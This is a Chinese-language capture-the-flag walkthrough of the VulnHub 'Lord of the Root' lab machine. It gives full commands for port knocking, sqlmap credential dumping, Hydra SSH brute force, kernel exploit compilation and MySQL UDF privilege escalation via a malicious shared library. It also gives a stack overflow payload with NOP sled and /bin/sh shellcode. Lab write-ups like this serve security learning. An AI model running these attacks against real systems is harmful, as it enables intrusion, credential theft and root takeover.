vulnhub-lord of the root通关教程
这里都是前面的内容了,唯一难点就是缓冲区溢出漏洞,最近几乎都是栈溢出,我是有点头大了,估计你看完能了解些栈溢出吧,如果你有更好的见解请交流一下经验
老样子,先扫网段存活的主机
Nmap -sP 192.168.135.0/24

扫开放端口
Nmap 192.168.135.140

发现只有22端口,我开始还没注意是ssh,往ftp匿名登录方向走了,结果后面才反应过来
多扫了一步,就是为了看看有没有ftp匿名,虽然是ssh,但是这一步也能找出些信息
Nmap -sS -p- -A -T5 -sS 192.168.135.140

尝试登录一下看看有什么信息
Ssh 192.168.135.140

发现123,这里看了别人的才知道做了端口隐藏,做敲震找出端口
Knock 192.168.135.140
这里也能用hping3

hping3 -S 192.168.135.140 -p 1 -c 1
hping3 -S 192.168.135.140 -p 2 -c 1
hping3 -S 192.168.135.140 -p 3 -c 1
-p 端口 -c 敲击次数

发现多出1337,我们访问一下

这里我看了源码也没有什么有用的信息,结果看了别人的思路才发现图片也是个目录信息,真狗啊


这里发现编码了,解码后发现是二次
当然也可以用base64来输出查看
echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d


又得到一个目录,访问发现是一个登录页面,直接上sqlmap
sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms –dbs
-o 交互优化 -u 网站 -form从url的表单获取 –dbs 猜测数据库



得到了数据库,接下来就是获得表
sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms -D Webapp –tables
-D指定数据库 –tables 猜测表


得到了user表,接下来就是猜测字段了
sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms -D Webapp
-T User --columns
-T指定表 –columns 猜测字段


接下来就是猜测数据了
sqlmap -o -u "http://192.168.135.140:1337/978345210/index.php" --forms -D Webapp
-T User -C id,password,username --dump


将他们分别放在账号和密码本里爆破ssh
Hydra -L username.txt -P password.txt 192.168.140 ssh

用获得的用户名密码登录ssh
Smeagol mypreciousR00t
Ssh smeagol@192.168.135.140

登录进来的第一件事就是看能不能内核提权
Uname -a

发现有39166

从GitHub上下源码有点麻烦了,不一定能在靶机用,直接看kali有没有
Searchsploit 39166
Searchsploit -p 39166.c
这里有个小技巧,不用cp,可以直接searchsploit -m 39166.c直接下载到当前位置

开启服务器上传文件
Python3 -m http.server 8000

看看靶机有没有gcc,进入tmp
Which gcc
Cd /tmp 这里应该不用多说了


上传exp
Wget http://192.168.135.131:8000/39166.c 这里是kali的地址我踩过好多次了>_<

接下来gcc编译,也无需多言,我都了解了
Gcc 39166.c -o yang

执行获得root
./yang

这里还能用udf提权,就是用户自定义函数,sql支持加载外部的.so/.dll文件,将其注册成sql函数调用,加载恶意的so库,创建自定义函数,执行命令拿到权限
先看看myql的版本
Dpkg -l | grep mysql

发现是5.44,再看是不是root运行的,这样提权才有用
Ps aux | grep root
Grep这里是指定搜索


在看看登录信息放哪了
Find / -name login.*
/从根目录查找

看看密码,获得了MySQL的密码
Grep “password” -rn
Grep “mysqli” -rn

Udf最重要的就是看他能不能写入文件,不然我们的脚本跑不起来
Show global variables like ‘secure%’;

我们看看插件目录在哪里,我们的.so文件就放这了
Show variables like ‘%plugin%’;

好udf提权的条件凑齐了
接下来看看能不能远程登录,能不能用别的方法
Select user,host from user;

这里直接从kali里复制啊
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .
改个名开启服务好上传使用啊
Mv lib_mysqludf_sys_32.so . yang.so

选择mysql,创建杨这张表
Use mysql
Create table yang(yang longblob) 这里的longblob就是大一点而已

将他放到plugin里,并创建自定义函数,让他执行时自动运行恶意库,执行而已命令
Select * from yang into dumpfile ‘/usr/lib/mysql/plugin/yang.so
Create function sys_exec returns string soname ‘yang.so’;

查看现在恶意库是否写入自定义函数,让自定义函数能执行恶意.so,
Select * from mysql.func;
Select sys_exec(‘chmod u+s /usr/bin/find’);

成功提权,写到这里才发现上一个已经内核提权了,不过问题不大,你看我们获得了尾shell,这就是成功的证明啊

Ok呀看看flag先吧

Ok呀,缓冲区,玩了那么久还是有点没办法。主要是找破坏字符有点难受了
Ls -al

查看SUID弱点值:find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

这里发现时ELF,可执行file命令比较每个文件的哈希值:
file /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

或者使用du -b查看字节:
du -b /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file

看看有没有开启自动执行脚本
Ls -alfR

这里发现,每隔短时间,这个5.1k值都会在三个文件来回换
进入看看有什么
Cd door2

果然又是ELF
File file

先将二进制文件转成base64,放到本地,在将base64转成可执行的二进制
Base64 file
Cat yang.txt | base64 -d > file

先看看溢出点在哪里,生成1000位值看看
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000

发现发生溢出点是41376641,问题文件都是这个值,在这个靶场啊,我看了很多大佬的教学都是这个值

看看偏移量是多少,在哪里后开始出现溢出
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
这里都是171,问题文件都是一样的,溢出点和偏移量都是一样的

知道偏移量后我们看看发生溢出后都执行了什么,构造shell看看
run $(python3 -c 'print("A" * 171 + "B" * 4)')

这里成功劫持了eip,而且eip是4个值,我们就可以固定payload的溢出点和偏移量劫持EIP了,这个是控制cpu执行下一指令的,让他执行到我们的shellcode,你发现没,溢出点变了,说明开启了ASLR,我们看看呢
cat /proc/sys/kernel/randomize_va_space
0 关闭 2全随机 1半随机

开启了ASLR我们不可能没次都能执行到我们的shellcode,没错run的时候他的内存地址都会变,这时我们对栈溢出有个方法,如果你看了我meterpreter渗透测试指南笔记你估计会对nop空字符有点印象,那个是讲解堆溢出时使用堆喷射的,这个是用nop sled雪橇攻击,让eip的下一跳到nop时一直滑到我们的shellcode
看看esp
Info r


这里我们成功写入了esp,接下来就是找破坏字符了,这里就是生成shellcode时,发生栈溢出,看看shellcode里那个字符消失了,几乎都是连续的类似,发现中间断了就把消失的shellcode从原shellcode删了,保证shellcode正常执行
看开启了什么防护
Checksec

将esp接入我们的nopsled,到eip时指向下一跳,被劫持了发生错误一直滑行到我们的shellcode
run $(python3 -c 'import sys;payload = b"A"*171 + b"\x30\xd1\xff\xff" + b"\x90"*200 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";sys.stdout.buffer.write(payload)')

这里不稳定,我也不知道为什么,希望有人能给我指点一下,这是我测的payloade
run $(python3 -c 'import sys;payload = b"A"*171 + b"\x30\xd1\xff\xff" + b"\x90"*200 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";sys.stdout.buffer.write(payload)')

它执行一条命令直接退出tty,我问豆包说是pwngdb发现不是正常的交互shell,执行完后退出了

但是我后面加大nop的值就不会退出了,但是我找不到flag了>_<

run $(python3 -c 'import sys;payload = b"A"*171 + b"\x30\xd1\xff\xff" + b"\x90"*20000 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";sys.stdout.buffer.write(payload)')
卧槽,我真是没招了,换了/bin/dash测试,改了雪橇的长度,直接破万终于稳定了,但是我找不到flag了Q_Q

这里聊一聊我对缓冲区溢出的看法,缓冲区就是正常我们执行的buff,eip是下一跳的位置我们就是劫持它,esp位于栈顶,低地址,所有操作以esp为基准,所以我们要放他到nop前,ebp位于栈低,高地址,用来索引局部变量,规定了范围。
我们先找溢出点,在确定偏移量,依此构造payload,再找到破环字符,保证shellcode的正确执行。
我的方法估计不是正确的,还希望有缘分看到了解释指点一下.>_<.
浙公网安备 33010602011771号